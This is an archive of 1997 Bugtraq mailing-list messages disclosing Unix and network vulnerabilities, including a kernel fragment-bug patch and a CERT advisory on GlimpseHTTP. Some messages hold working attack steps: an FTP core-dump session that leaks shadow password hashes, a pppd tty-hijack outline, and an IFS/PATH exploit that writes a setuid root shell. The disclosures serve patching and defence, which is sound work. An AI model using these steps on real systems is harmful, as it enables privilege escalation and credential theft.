21:03:17 -0500
Approved-By: [email protected]
Received: from lili.urbanet.ch (sicel-home-1-4.urbanet.ch [194.235.55.100]) by
netspace.org (8.8.7/8.8.2) with SMTP id PAA23774 for
<[email protected]>; Fri, 14 Nov 1997 15:34:48 -0500
Received: (qmail 556 invoked by uid 1000); 14 Nov 1997 20:34:42 -0000
References: <[email protected]>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Mailer: Mutt 0.85
Message-Id: <19971114213442.04080@lili>
Date: Fri, 14 Nov 1997 21:34:42 +0100
Reply-To: Philippe Strauss <[email protected]>
Sender: Bugtraq List <[email protected]>
From: Philippe Strauss <[email protected]>
Subject: Re: The overlapping fragment bug
X-To: Alan Cox <[email protected]>
To: [email protected]
In-Reply-To: <[email protected]>; from Alan Cox
on Fri, Nov 14, 1997 at 07:54:00PM +0000
Status:
X-PMFLAGS: 34078848 0
On Nov 14, Alan Cox wrote:
> Well after some testing its quite effective against Linux [fix
> available and will be in 2.0.32 as standard], NT, 95, Win 3.11
> and also a couple of others it seems - DOS Novell TCP/IP and
> PCNFS 4.0 (reportedly). BSD derived stacks, various routers, Solaris
> MacOS and HP/UX all seem fine.
Waht about the (over?) simple fix found in Linus's pre-patch-2.0.32-4.gz.maybe
on funet? (ftp.kernel.org is down, coincidence :-/
diff -u --recursive --new-file v2.0.31/linux/net/ipv4/ip_fragment.c linux/net/ip
v4/ip_fragment.c
--- v2.0.31/linux/net/ipv4/ip_fragment.c Tue Aug 12 11:30:25 1997
+++ linux/net/ipv4/ip_fragment.c Thu Nov 13 05:58:30 1997
@@ -375,7 +375,7 @@
fp = qp->fragments;
while(fp != NULL)
{
- if(count+fp->len > skb->len)
+ if (fp->len < 0 || count+fp->len > skb->len)
{
NETDEBUG(printk("Invalid fragment list: Fragment over size.\n"));
ip_free(qp);
Cheers.
> The actual exploit can also be slightly improved. Make it a tcp frame,
> make the destination port 80 and it goes through most firewalls like
> a bullet through cheese and seems to keep its effectiveness.
>
> You can screen the stuff behind a firewall if your firewall reassembles
> fragments (and is of course itself not vulnerable 8)).
>
> Any news on the microsoft fix expected date/times ?
>
> Alan
--
Philippe Strauss
home email/finger address: <[email protected]>
finger for PGP key
Never insult an alligator until you've crossed the river.
--
Return-Path: <[email protected]>
Delivered-To: [email protected]
Received: (qmail 30427 invoked from network); 18 Nov 1997 01:03:07 -0000
Received: from scylla.sovam.com (194.67.2.97)
by sky.tyumen.dial.sovam.com with SMTP; 18 Nov 1997 01:03:07 -0000
Received: by scylla.sovam.com id AA16905
(5.67b8s3p1/IDA-1.5 for [email protected]); Tue, 18 Nov 1997 03:04:52 +0300
Received: from conjurer.tyumen.ru by scylla.sovam.com with SMTP id AA16881
(5.67b8s3p1/IDA-1.5 for <[email protected]>); Tue, 18 Nov 1997 03:02:29 +0300
Received: from plum.cyber.com.au (plum.cyber.com.au [203.7.155.24])
by conjurer.tyumen.ru (8.8.5/8.8.5) with ESMTP id FAA16473
for <[email protected]>; Tue, 18 Nov 1997 05:02:06 +0500 (ES)
Received: (from slist@localhost)
by plum.cyber.com.au (8.8.6/8.8.6) id KAA19541;
Tue, 18 Nov 1997 10:36:19 +1100 (EST)
Resent-Date: Tue, 18 Nov 1997 10:36:19 +1100 (EST)
X-Delivering-To: [email protected]
Message-Id: <[email protected]>
Date: Sat, 15 Nov 1997 14:05:48 -0600
Reply-To: [email protected]
Sender: [email protected]
Comments: Resent-From: Aleph One <[email protected]>
Comments: Originally-From: CERT Bulletin <[email protected]>
From: Aleph One <[email protected]>
Organization: CERT(sm) Coordination Center - +1 412-268-7090
Old-X-Originally-To: To: [email protected]
Old-X-Originated-From: From: Aleph One <[email protected]>
Resent-Message-Id: <"r7NsTB.A.tX.T8Ec0"@plum>
X-Loop: [email protected]
Errors-To: [email protected]
Precedence: list
Resent-Sender: [email protected]
To: [email protected]
Resent-From: [email protected]
X-Mailing-List: <[email protected]> ftp://ftp.cyber.com.au/pub/archive/b-o-s/
X-Subscription: To unsubscribe from this fine mailing list mail [email protected] with Subject: unsubscribe
Subject: BoS: CERT Vendor-Initiated Bulletin VB-97.13 - GlimpseHTTP.WebGlimpse
Status:
X-PMFLAGS: 33554560 0
-----BEGIN PGP SIGNED MESSAGE-----
CERT* Vendor-Initiated Bulletin VB-97.13
November 14, 1997
Topic: Vulnerability in GlimpseHTTP and WebGlimpse CGI scripts
Source: Project FUSE, University of Arizona
Related CERT documents:
ftp://ftp.cert.org/pub/cert_advisories/CA-97.25.CGI_metacharftp://ftp.cert.org/pub/tech_tips/cgi_metacharacters
To aid in the wide distribution of essential security information, the CERT
Coordination Center is forwarding the following information from Project FUSE,
University of Arizona. Project FUSE urges you to act on this information as
soon as possible. Project FUSE contact information is included in the
forwarded text below; please contact them if you have any questions or need
further information.
Please note that there is related information about these vulnerabilities in
AUSCERT Advisory AA-97.28, "Vulnerability in GlimpseHTTP and WebGlimpse
cgi-bin Packages", available from
ftp.auscert.org.au/pub/auscert/advisory/AA-97.28.GlimpseHTTP.WebGlimpse.vuls
=======================FORWARDED TEXT STARTS HERE============================
Problem: Vulnerability in GlimpseHTTP 2.0 and
WebGlimpse versions prior to 1.5
I. Description
A vulnerability exists in the GlimpseHTTP web search package. A related
vulnerability exists in the WebGlimpse web search package prior to version
1.5 (the latest version). These packages are popular collections of tools
that provide easy-to-use interface to Glimpse, an indexing and query
system, to provide a search facility on web sites.
Due to insufficient argument checking by some of GlimpseHTTP and older
WebGlimpse routines, intruders may be able to force it to execute arbitrary
commands with the privileges of the httpd process. Attacks against
GlimpseHTTP using these vulnerabilities have been reported.
Similar attacks have been reported on other scripts, and it is a good idea
now to check all your CGI scripts. For more information see
ftp://info.cert.org/pub/cert_advisories/CA-97.25.CGI_metacharftp://info.cert.org/pub/tech_tips/cgi_metacharacters
To check whether exploitation of this vulnerability has been attempted at
your site, search for unusual accesses to aglimpse in your access logs.
An example of how to do this is:
# egrep 'aglimpse.*IFS' {WWW_HOME}/logs/access_log
Where {WWW_HOME} is the base directory for your web server.
If this command returns anything, further investigation is necessary.
Up-to-date information regarding these vulnerabilities can be obtained from
the authors of GlimpseHTTP and WebGlimpse at
http://glimpse.cs.arizona.edu/security.html
Although the attacks against GlimpseHTTP have focused on version 2.0,
similar attacks may be possible on earlier versions.
II. Impact
Remote users may be able to execute arbitrary commands with the privileges
of the httpd process which answers HTTP requests. This may be used to
compromise the http server and under certain configurations gain privileged
access. Current attacks concentrated on obtaining the /etc/passwd file on
systems that do not provide shadow passwords.
III. Solution
The authors have decided to stop supporting GlimpseHTTP, and instead have
released a new version (1.5) of WebGlimpse, which has most of the features
of GlimpseHTTP and many more.
Users of any version GlimpseHTTP are encouraged to upgrade to the new
WebGlimpse. Users of earlier versions of WebGlimpse are also encouraged to
upgrade, as version 1.5 is more robust and more secure. WebGlimpse can be
found at http://glimpse.cs.arizona.edu/webglimpse/
For sites that cannot immediately install the current version of
WebGlimpse, it is recommended that you disable the version of GlimpseHTTP
or WebGlimpse you are using and use another script to interface to Glimpse.
Questions to the authors can be directed to [email protected]
========================FORWARDED TEXT ENDS HERE=============================
If you believe that your system has been compromised, contact the CERT
Coordination Center or your representative in the Forum of Incident Response
and Security Teams (FIRST). See http://www.first.org/team-info/.
We strongly urge you to encrypt any sensitive information you send by email.
The CERT Coordination Center can support a shared DES key and PGP. Contact
the CERT staff for more information.
Location of CERT PGP key
ftp://ftp.cert.org/pub/CERT_PGP.key
CERT Contact Information
- - ------------------------
Email [email protected]
Phone +1 412-268-7090 (24-hour hotline)
CERT personnel answer 8:30-5:00 p.m. EST
(GMT-5)/EDT(GMT-4), and are on call for
emergencies during other hours.
Fax +1 412-268-6989
Postal address
CERT Coordination Center
Software Engineering Institute
Carnegie Mellon University
Pittsburgh PA 15213-3890
USA
CERT publications, information about FIRST representatives, and other
security-related information are available from
http://www.cert.org/ftp://ftp.cert.org/pub/
CERT advisories and bulletins are also posted on the USENET newsgroup
comp.security.announce
To be added to our mailing list for CERT advisories and bulletins, send your
email address to
[email protected]
In the subject line, type
SUBSCRIBE your-email-address
* Registered U.S. Patent and Trademark Office.
The CERT Coordination Center is part of the Software Engineering
Institute (SEI). The SEI is sponsored by the U. S. Department of Defense.
This file:
ftp://ftp.cert.org/pub/cert_bulletins/VB-97.13.GlimpseHTTP.WebGlimpse
-----BEGIN PGP SIGNATURE-----
Version: 2.6.2
iQCVAwUBNGzA2HVP+x0t4w7BAQFkxQP/dM5at0WZUagXtSh++qHoLNQgxbV9uITY
HmIKiitRLq4WegFOEwoMeJCTQW3YwsnPuvEw+XY92cUNgmYuDeZKcXE9RXKHZ6df
Ozg2a7iXke0THhYNxozzdj2WKBzfrC9aVL3BpiR7WLD1eIRzL2gmVC2iggcA22U1
Ow4SBS6caUY=
=B4Ri
-----END PGP SIGNATURE-----
Return-Path: <[email protected]>
Delivered-To: [email protected]
Received: (qmail 32583 invoked from network); 18 Nov 1997 03:16:32 -0000
Received: from scylla.sovam.com (194.67.2.97)
by sky.tyumen.dial.sovam.com with SMTP; 18 Nov 1997 03:16:32 -0000
Received: by scylla.sovam.com id AA18731
(5.67b8s3p1/IDA-1.5 for [email protected]); Tue, 18 Nov 1997 04:34:56 +0300
Received: from conjurer.tyumen.ru by scylla.sovam.com with SMTP id AA18690
(5.67b8s3p1/IDA-1.5 for <[email protected]>); Tue, 18 Nov 1997 04:30:52 +0300
Received: from plum.cyber.com.au (plum.cyber.com.au [203.7.155.24])
by conjurer.tyumen.ru (8.8.5/8.8.5) with ESMTP id GAA16926
for <[email protected]>; Tue, 18 Nov 1997 06:30:35 +0500 (ES)
Received: (from slist@localhost)
by plum.cyber.com.au (8.8.6/8.8.6) id MAA24531;
Tue, 18 Nov 1997 12:08:16 +1100 (EST)
Resent-Date: Tue, 18 Nov 1997 12:08:16 +1100 (EST)
X-Delivering-To: [email protected]
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Message-Id: <[email protected]>
Date: Wed, 12 Nov 1997 11:56:29 -0500
Reply-To: sp00n <[email protected]>
Sender: [email protected]
From: sp00n <[email protected]>
Old-X-Originally-To: To: [email protected]
Old-X-Originated-From: From: sp00n <[email protected]>
Resent-Message-Id: <"HKsmOD.A.S9.3sGc0"@plum>
X-Loop: [email protected]
Errors-To: [email protected]
Precedence: list
Resent-Sender: [email protected]
To: [email protected]
Resent-From: [email protected]
X-Mailing-List: <[email protected]> ftp://ftp.cyber.com.au/pub/archive/b-o-s/
X-Subscription: To unsubscribe from this fine mailing list mail [email protected] with Subject: unsubscribe
Subject: BoS: Bug In Security Dynamics' FTP server (Version 2.2)
Status:
X-PMFLAGS: 34078848 0
Hi,
This bug is similar to the solaris and other ftp core dump bugs, slightly
diffrent though. BTW the machine is a SPARC 20 running 2.5, You can link
files and clobber them with a core to annoy your local sys admin or, even
better get /etc/shadow, u get the point... anyways
220 cornholio Security Dynamics' FTP server (Version 2.2) ready.
Name (.:joeuser): joeuser
331 Password required for mpotter.
Password:
230 User joeuser logged in.
ftp> cd /tmp
250 CWD command successful.
ftp> user root DUMP_CORE_FTPD
331 Password required for root.
530 Login incorrect.
Login failed.
ftp> quote pasv
421 Service not available, remote server has closed connection
ftp> quit
$ ls -la core
-rw-r----- 1 root network 264656 Nov 12 11:14 core
At least it dosent dump 666 like solaris's in.ftpd :) But I cant read it
:(
Not too usefull You say? welp prior to dumping the core you should link it
to ps_data or something like that then you will get this
lrwxrwxrwx 1 joeuser network 7 Nov 12 11:07 core -> ps_data
-rw-rw-r-- 1 root sys 264656 Nov 12 11:07 ps_data
$file ps_data
ps_data: ELF 32-bit MSB core file SPARC Version 1, from '_sdi_ftpd'
$strings core | more
noaccess:*LK*:6445::::::
sp00n:o.IZGdC5eBTtKY:10175:7:28::::
root:aiqzotPNtTsI:9988::::::
user2:U6d5srjcJi/KU:9952::::::
joeuser:ktxVoVPQVIgc.:10175:7:28::::
root::0:root
other::1:
bin::2:root,daemon
sys::3:root,bin,adm
adm::4:root,daemon
uucp::5:root
>From [email protected] Sun Nov 16 22:19:03 1997
Received: from satay.cyber.com.au (satay.cyber.com.au [203.7.155.20]) by plum.cyber.com.au (8.6.12/8.6.6) with ESMTP id WAA02524 for <[email protected]>; Sun, 16 Nov 1997 22:19:03 +1100
Received: (from uucp@localhost) by satay.cyber.com.au (8.7.4/8.7.3) id WAA26307 for <[email protected]>; Sun, 16 Nov 1997 22:18:18 +1100 (EST)
Message-Id: <[email protected]>
Received: from cheops.anu.edu.au(150.203.76.24) by satay.cyber.com.au via smap (V1.3)
id sma026282; Sun Nov 16 22:17:49 1997
Received: by cheops.anu.edu.au
(1.37.109.16/16.2) id AA285879110; Sun, 16 Nov 1997 22:18:30 +1100
Date: Sun, 16 Nov 1997 22:18:30 +1100
From: Darren Reed <[email protected]>
Apparently-To: [email protected]
Status: O
Approved: [email protected]
X-Originally-To: To: [email protected]
X-Originated-From: From: sp00n <[email protected]>
>>From [email protected] Sun Nov 16 08:17:12 EDT 1997 remote from cheops
Received: from brimstone.netspace.org by postbox.anu.edu.au with ESMTP
(1.37.109.16/16.2) id AA007538627; Sun, 16 Nov 1997 08:17:07 +1100
Received: from [email protected] (port 23568 [128.148.157.6]) by brimstone.netspace.org with ESMTP id <96049-27738>; Sat, 15 Nov 1997 15:08:13 -0500
Received: from NETSPACE.ORG by NETSPACE.ORG (LISTSERV-TCP/IP release 1.8c) with
spool id 5661334 for [email protected]; Sat, 15 Nov 1997 15:07:06
-0500
Received: from brimstone.netspace.org (brimstone.netspace.org
[128.148.157.143]) by netspace.org (8.8.7/8.8.2) with ESMTP id
OAA28841 for <[email protected]>; Sat, 15 Nov 1997 14:56:07 -0500
Received: from [email protected] (port 23568 [128.148.157.6]) by
brimstone.netspace.org with ESMTP id <80685-27736>; Sat, 15 Nov 1997
14:56:07 -0500
Approved-By: [email protected]
Received: from blubb.pdc.kth.se (blubb.pdc.kth.se [193.10.159.47]) by
netspace.org (8.8.7/8.8.2) with SMTP id VAA07409 for
<[email protected]>; Fri, 14 Nov 1997 21:11:47 -0500
Received: from joda by blubb.pdc.kth.se with local (Exim 1.71 #1) id
0xWXhz-0001Rh-00; Sat, 15 Nov 1997 03:11:39 +0100
References: <[email protected]>
X-Emacs: 19.34
Mime-Version: 1.0 (generated by SEMI MIME-Edit 0.77)
Content-Type: text/plain; charset=US-ASCII
Lines: 35
X-Mailer: Gnus v5.4.52/Emacs 19.34
Message-Id: <[email protected]>
Date: Sat, 15 Nov 1997 03:11:35 +0100
Reply-To: Johan Danielsson <[email protected]>
Sender: avalon
From: Johan Danielsson <[email protected]>
Subject: Re: digital unix 4.0 hole
X-To: John McDonald <[email protected]>
To: [email protected]
In-Reply-To: John McDonald's message of Fri, 14 Nov 1997 12:37:20 -0500
John McDonald <[email protected]> writes:
> If you run dbx (tested on 3.11.10) on a setuid root program that you
> have read access to, the program will core dump and create a root
> owned 600 perm core in the current directory.
The problem isn't procfs per se, but rather that it causes the program
to dump core.
What happens in that in core(), vn_open() is called just before it's
supposed to `temporarily restore real user/group ids for file
operations'. For anyone with source, the fun happens around line 4350
in kernel/bsd/kern_sig.c.
If you're *real* paranoid about this, you might be able to:
# cp /vmunix /vmunix.save
# dbx /vmunix
dbx version 3.11.10
Type 'help' for help.
main: Source not available
warning: Files compiled -g3: parameter values probably wrong
(dbx) ((unsigned*)core+82)/1 i
[core:5261, 0xfffffc000026ff48] and r1, r2, r1
(dbx) patch *((unsigned*)core+82) = 0x203f0001
[core:5261, 0xfffffc000026ff48] lda r1, 1(r31)
(dbx) q
# reboot
This might work with 4.0[ABC]; I haven't tried it though. :-) It
should completely disable all core dumps.
/Johan
Return-Path: <[email protected]>
Delivered-To: [email protected]
Received: (qmail 30408 invoked from network); 18 Nov 1997 01:02:44 -0000
Received: from scylla.sovam.com (194.67.2.97)
by sky.tyumen.dial.sovam.com with SMTP; 18 Nov 1997 01:02:44 -0000
Received: by scylla.sovam.com id AA13228
(5.67b8s3p1/IDA-1.5 for [email protected]); Tue, 18 Nov 1997 01:06:45 +0300
Received: from conjurer.tyumen.ru by scylla.sovam.com with SMTP id AA13162
(5.67b8s3p1/IDA-1.5 for <[email protected]>); Tue, 18 Nov 1997 01:05:10 +0300
Received: from brimstone.netspace.org (brimstone.netspace.org [128.148.157.143])
by conjurer.tyumen.ru (8.8.5/8.8.5) with ESMTP id DAA15835
for <[email protected]>; Tue, 18 Nov 1997 03:04:48 +0500 (ES)
Received: from [email protected] (port 9531 [128.148.157.6]) by brimstone.netspace.org with ESMTP id <97879-9534>; Mon, 17 Nov 1997 12:59:04 -0500
Received: from NETSPACE.ORG by NETSPACE.ORG (LISTSERV-TCP/IP release 1.8c) with
spool id 5691840 for [email protected]; Mon, 17 Nov 1997 12:58:10
-0500
Received: from brimstone.netspace.org (brimstone.netspace.org
[128.148.157.143]) by netspace.org (8.8.7/8.8.2) with ESMTP id
MAA05624 for <[email protected]>; Mon, 17 Nov 1997 12:47:18 -0500
Received: from [email protected] (port 9531 [128.148.157.6]) by
brimstone.netspace.org with ESMTP id <97466-9535>; Mon, 17 Nov 1997
12:47:17 -0500
Approved-By: [email protected]
Received: from mail.europa.com (atheria.europa.com [199.2.194.10]) by
netspace.org (8.8.7/8.8.2) with SMTP id DAA11090 for
<[email protected]>; Sat, 15 Nov 1997 03:32:40 -0500
Received: from thetics.europa.com([199.2.194.14]) (2167 bytes) by
mail.europa.com via sendmail with P:smtp/R:inet_hosts/T:smtp (sender:
<[email protected]>) id <[email protected]> for
<[email protected]>; Sat, 15 Nov 1997 00:32:38 -0800 (PST)
(Smail-3.2.0.98 1997-Oct-16 #12 built 1997-Oct-28)
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Message-Id: <[email protected]>
Date: Sat, 15 Nov 1997 00:32:38 -0800
Reply-To: David Neil <[email protected]>
Sender: Bugtraq List <[email protected]>
From: David Neil <[email protected]>
Subject: pppd security hole Re: i386/344 (fwd)
To: [email protected]
Status:
X-PMFLAGS: 34078848 0
---------- Forwarded message ----------
Date: Sat, 15 Nov 1997 00:28:41 -0800 (PST)
From: David Neil <[email protected]>
To: Kenneth Stailey <[email protected]>
Cc: [email protected], [email protected]Subject: pppd security hole Re: i386/344
On Fri, 14 Nov 1997, Kenneth Stailey wrote:
> > CLOCAL flag was not getting cleared after chat. I just commited a fix.
>
> Hmm. Seems that with "local" in /etc/ppp/options and /dev/tty00 I also
> see that DTR does not cause pppd to get a SIGHUP. I'll test again with
> the new code.
Talking about chat, I've also noticed weird behaviour in chat
too(freezing my console!!!), and when investingating it I found a
"security" hole in pppd. pppd is 4555(I could stop here, but it can be
useful:) I believe in standard distributions. Because it has an option
that specifies which chat script to execute(it changes UID=0 to your UID
before execing), you can replace it with, say, 'echo'. Besides the fact
that any user can use the modem to dial out freely, pppd will give you
read/write access to any tty. The "security" hole in this is that pppd
gives the possbility of a man in the middle attack of a tty.
attack:
1) Set your tty to the same settings of the tty you want
to take over.
2) Using `pppd /dev/XXXXX 9600(?) connect ./my-script'
present to the victim's tty a false login banner or a wrapper that spawns
a real login.
3) Remember that when your ./my-script is finished, pppd will
shit all over their screen.
any dumb system administrator will type their password...
Also, pppd is public domain, and lives around many other systems such as
slowaris, lamex, *bsd. I don't know how pppd got its SUID bit, but it
doesn't need it.
Lates,
opus
Return-Path: <[email protected]>
Delivered-To: [email protected]
Received: (qmail 18724 invoked from network); 19 Nov 1997 01:01:35 -0000
Received: from scylla.sovam.com (194.67.2.97)
by sky.tyumen.dial.sovam.com with SMTP; 19 Nov 1997 01:01:35 -0000
Received: by scylla.sovam.com id AA04875
(5.67b8s3p1/IDA-1.5 for [email protected]); Wed, 19 Nov 1997 00:58:10 +0300
Received: from conjurer.tyumen.ru by scylla.sovam.com with SMTP id AA04810
(5.67b8s3p1/IDA-1.5 for <[email protected]>); Wed, 19 Nov 1997 00:53:36 +0300
Received: from brimstone.netspace.org (brimstone.netspace.org [128.148.157.143])
by conjurer.tyumen.ru (8.8.5/8.8.5) with ESMTP id CAA16046
for <[email protected]>; Wed, 19 Nov 1997 02:50:16 +0500 (ES)
Received: from [email protected] (port 1345 [128.148.157.6]) by brimstone.netspace.org with ESMTP id <1009-16379>; Tue, 18 Nov 1997 14:44:30 -0500
Received: from NETSPACE.ORG by NETSPACE.ORG (LISTSERV-TCP/IP release 1.8c) with
spool id 5722150 for [email protected]; Tue, 18 Nov 1997 14:43:21
-0500
Received: from brimstone.netspace.org (brimstone.netspace.org
[128.148.157.143]) by netspace.org (8.8.7/8.8.2) with ESMTP id
OAA09628 for <[email protected]>; Tue, 18 Nov 1997 14:32:27 -0500
Received: from [email protected] (port 1345 [128.148.157.6]) by
brimstone.netspace.org with ESMTP id <80840-16380>; Tue, 18 Nov 1997
14:31:14 -0500
Approved-By: [email protected]
Received: from jester.ti.com (jester.ti.com [192.94.94.1]) by netspace.org
(8.8.7/8.8.2) with ESMTP id OAA05748 for <[email protected]>; Tue,
18 Nov 1997 14:02:44 -0500
Received: from daldd.sc.ti.com ([156.117.185.1]) by jester.ti.com (8.8.7) with
SMTP id NAA26929; Tue, 18 Nov 1997 13:02:04 -0600 (CST)
Received: from sun-8572 (sun-8572.daldd.sc.ti.com) by daldd.sc.ti.com
(4.1/SMI-4.1) id AA13885; Tue, 18 Nov 97 13:02:02 CST
Received: by sun-8572 (SMI-8.6) id NAA12638; Tue, 18 Nov 1997 13:02:01 -0600
X-Mailer: ELM [version 2.4 PL25]
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Message-Id: <199711181902.NAA12638@sun-8572>
Date: Tue, 18 Nov 1997 13:02:01 -0600
Reply-To: [email protected]
Sender: Bugtraq List <[email protected]>
From: Joe Zbiciak <[email protected]>
Subject: Re: Vunerability in Lizards game
X-To: [email protected]
To: [email protected]
In-Reply-To: <[email protected]> from "Neil Levine" at Nov 17,
97 07:30:31 pm
Status:
X-PMFLAGS: 34078848 0
John Dow said previously:
| - but then again, my system("clear") wasn't particularly
| elegant either. How about system("/usr/bin/clear")?
That won't work. An attack along these lines will slice through
that "fix" pretty quickly, if I'm not mistaken.
export IFS=/
export PATH=.:$PATH
echo "cp /bin/sh ./root_sh; chmod 4755 ./root_sh" > ./usr
chmod 755 ./usr
lizards
:-)
"system()" is just not cut out for security.
*slightly* better would be to exec /usr/bin/clear directly with
a fork/exec. Or, if your exiting the game completely at that point
(eg. you have nothing left to do at that point), just do an
execl("/usr/bin/clear","clear",0);
and be done with it.
Regards,
--Joe
--
+------------ Joseph Zbiciak -----------+
|- - - - - [email protected] - - - - -| You have the capacity to
| - http://www.primenet.com/~im14u2c/ - | learn from mistakes.
|- - - -Texas Instruments, Dallas- - - -| You will learn alot today.
+------#include <std_disclaimer.h>------+
Return-Path: <[email protected]>
Delivered-To: [email protected]
Received: (qmail 18730 invoked from network); 19 Nov 1997 01:01:41 -0000
Received: from scylla.sovam.com (194.67.2.97)
by sky.tyumen.dial.sovam.com with SMTP; 19 Nov 1997 01:01:41 -0000
Received: by scylla.sovam.com id AA04660
(5.67b8s3p1/IDA-1.5 for [email protected]); Wed, 19 Nov 1997 00:48:59 +0300
Received: from conjurer.tyumen.ru by scylla.sovam.com with SMTP id AA04612
(5.67b8s3p1/IDA-1.5 for <[email protected]>); Wed, 19 Nov 1997 00:47:10 +0300
Received: from brimstone.netspace.org (brimstone.netspace.org [128.148.157.143])
by conjurer.tyumen.ru (8.8.5/8.8.5) with ESMTP id CAA15981
for <[email protected]>; Wed, 19 Nov 1997 02:43:32 +0500 (ES)
Received: from [email protected] (port 1345 [128.148.157.6]) by brimstone.netspace.org with ESMTP id <96995-16380>; Tue, 18 Nov 1997 12:17:15 -0500
Received: from NETSPACE.ORG by NETSPACE.ORG (LISTSERV-TCP/IP release 1.8c) with
spool id 5717907 for [email protected]; Tue, 18 Nov 1997 12:16:12
-0500
Received: from brimstone.netspace.org (brimstone.netspace.org
[128.148.157.143]) by netspace.org (8.8.7/8.8.2) with ESMTP id
MAA20278 for <[email protected]>; Tue, 18 Nov 1997 12:05:55 -0500
Received: from [email protected] (port 1345 [128.148.157.6]) by
brimstone.netspace.org with ESMTP id <80695-16379>; Tue, 18 Nov 1997
12:05:10 -0500
Approved-By: [email protected]
Received: from styx.org (STYX.ORG [207.245.61.8]) by netspace.org (8.8.7/8.8.2)
with ESMTP id QAA10664 for <[email protected]>; Mon, 17 Nov 1997
16:37:59 -0500
Received: (from ww@localhost) by styx.org (8.8.7/8.8.7) id QAA04661; Mon, 17
Nov 1997 16:37:59 -0500 (EST)
References: <[email protected]>
X-Mailer: xemacs-19.14
X-Attribution: Will
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Message-Id: <[email protected]>
Date: Mon, 17 Nov 1997 16:37:59 -0500
Reply-To: Will Waites <[email protected]>
Sender: Bugtraq List <[email protected]>
From: Will Waites <[email protected]>
Organization: Idiosyntactix Tactical Hyperbole (tm)
Subject: Re: pppd security hole Re: i386/344 (fwd)
To: [email protected]
In-Reply-To: <[email protected]>
Status:
X-PMFLAGS: 33554560 0
>>>>> "David" == David Neil <[email protected]> writes:
David> Also, pppd is public domain, and lives around many other
David> systems such as slowaris, lamex, *bsd. I don't know how
David> pppd got its SUID bit, but it doesn't need it.
Indeed it does - pppd needs to (1) create a network interface and (2)
possibly modify the kernel's routing table. To do both of these,
superuser priveleges are required. However it is true that pppd
handles its priveleges sloppily - i.e. it should not be running with
uid 0 when it is accessing the ttys, only when it needs to do some
privileged system calls.
I haven't looked at the source for pppd, but since it reads a *lot* of
different parameters from its config file(s), it seems likely that
there might be some buffer overflow problems. Has anyone looked into
this?
Cheers,
Will
--
////////////////////////////////////\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\
Will Waites || NIC Handle: WW1310
[email protected] ||
-----------------------------------||-----------------------------------
key ID = 2048/1CA68339 || Public key at pgp.ai.mit.edu
fingerprint = DA BE BD 7E 65 CD A3 3F E2 5D 66 0A 8D 9E 41 FD
------------------------------------------------------------------------
"If that makes any sense to you, you have a big problem"
-- C. Durance
\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\////////////////////////////////////
Return-Path: <[email protected]>
Delivered-To: [email protected]
Received: (qmail 335 invoked from network); 20 Nov 1997 08:43:21 -0000
Received: from scylla.sovam.com (194.67.2.97)
by sky.tyumen.dial.sovam.com with SMTP; 20 Nov 1997 08:43:21 -0000
Received: by scylla.sovam.com id AA04936
(5.67b8s3p1/IDA-1.5 for [email protected]); Thu, 20 Nov 1997 02:19:08 +0300
Received: from conjurer.tyumen.ru by scylla.sovam.com with SMTP id AA04838
(5.67b8s3p1/IDA-1.5 for <[email protected]>); Thu, 20 Nov 1997 02:16:19 +0300
Received: from brimstone.netspace.org (brimstone.netspace.org [128.148.157.143])
by conjurer.tyumen.ru (8.8.5/8.8.5) with ESMTP id EAA06969
for <[email protected]>; Thu, 20 Nov 1997 04:13:51 +0500 (ES)
Received: from [email protected] (port 9554 [128.148.157.6]) by brimstone.netspace.org with ESMTP id <746-1964>; Wed, 19 Nov 1997 15:59:47 -0500
Received: from NETSPACE.ORG by NETSPACE.ORG (LISTSERV-TCP/IP release 1.8c) with
spool id 5746415 for [email protected]; Wed, 19 Nov 1997 15:57:54
-0500
Received: from brimstone.netspace.org (brimstone.netspace.org
[128.148.157.143]) by netspace.org (8.8.7/8.8.2) with ESMTP id
PAA29110 for <[email protected]>; Wed, 19 Nov 1997 15:47:31 -0500
Received: from [email protected] (port 9554 [128.148.157.6]) by
brimstone.netspace.org with ESMTP id <80777-1962>; Wed, 19 Nov 1997
15:46:43 -0500
Approved-By: [email protected]
Received: from firewater.vfi.com (firewater.vfi.com [207.90.128.27]) by
netspace.org (8.8.7/8.8.2) with SMTP id OAA13200 for
<[email protected]>; Wed, 19 Nov 1997 14:44:21 -0500
Received: (qmail 11085 invoked from network); 19 Nov 1997 19:44:18 -0000
Received: from boomstick.vfi.com (207.90.129.3) by firewater.vfi.com with SMTP;
19 Nov 1997 19:44:18 -0000
Received: (qmail 5518 invoked from network); 19 Nov 1997 19:44:18 -0000
Received: from kroma.eit.com (207.90.129.2) by boomstick.vfi.com with SMTP; 19
Nov 1997 19:44:18 -0000
Received: from hurry (hurry.eit.com [207.90.130.186]) by kroma.eit.com
(8.8.5/8.8.5) with SMTP id LAA08735 for <[email protected]>; Wed,
19 Nov 1997 11:43:46 -0800 (PST)
X-Mailer: Mozilla 3.01 (WinNT; I)
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Message-Id: <[email protected]>
Date: Wed, 19 Nov 1997 11:40:24 -0800
Reply-To: Kerri Kraft <[email protected]>
Sender: Bugtraq List <[email protected]>
From: Kerri Kraft <[email protected]>
Subject: Major Security Flaw in Cybercash 2.1.2
To: [email protected]
Status:
X-PMFLAGS: 34078848 0
Per the comments below on security related to the VeriFone vPOS product,
I have
provided an explanation to each of the issues (in CAPS). In addition,
considering the high interest in security, I would like to recommend
familiarizing yourself with the Visa/MasterCard SET 1.0 standard,
especially before making further statements with regards to product
flaws. The VeriFone Internet Commerce Solution (vWALLET, vPOS, and
vGATE) is based on the SET 1.0 standard.
Kerri Kraft
VeriFone Product Line Marketing Manager
>>>>> This is also an issue with Verifone vPOS, which ships with the
>>>>> Microsoft
>>>>> Site Server, partnered as an evaluation version.
>>>>>
>>>>> Most of these credit card validators have the ability to store items
>>>>> to a
>>>>> logfile, which is often turned on in debugging and testing and never
>>>>> turned
>>>>> off by the administrator...
>>>>>
>>>>> Here are some other interesting things about vPOS and Site Server, for
>>>>> the
>>>>> e-commerce-minded among us:
>>>>>
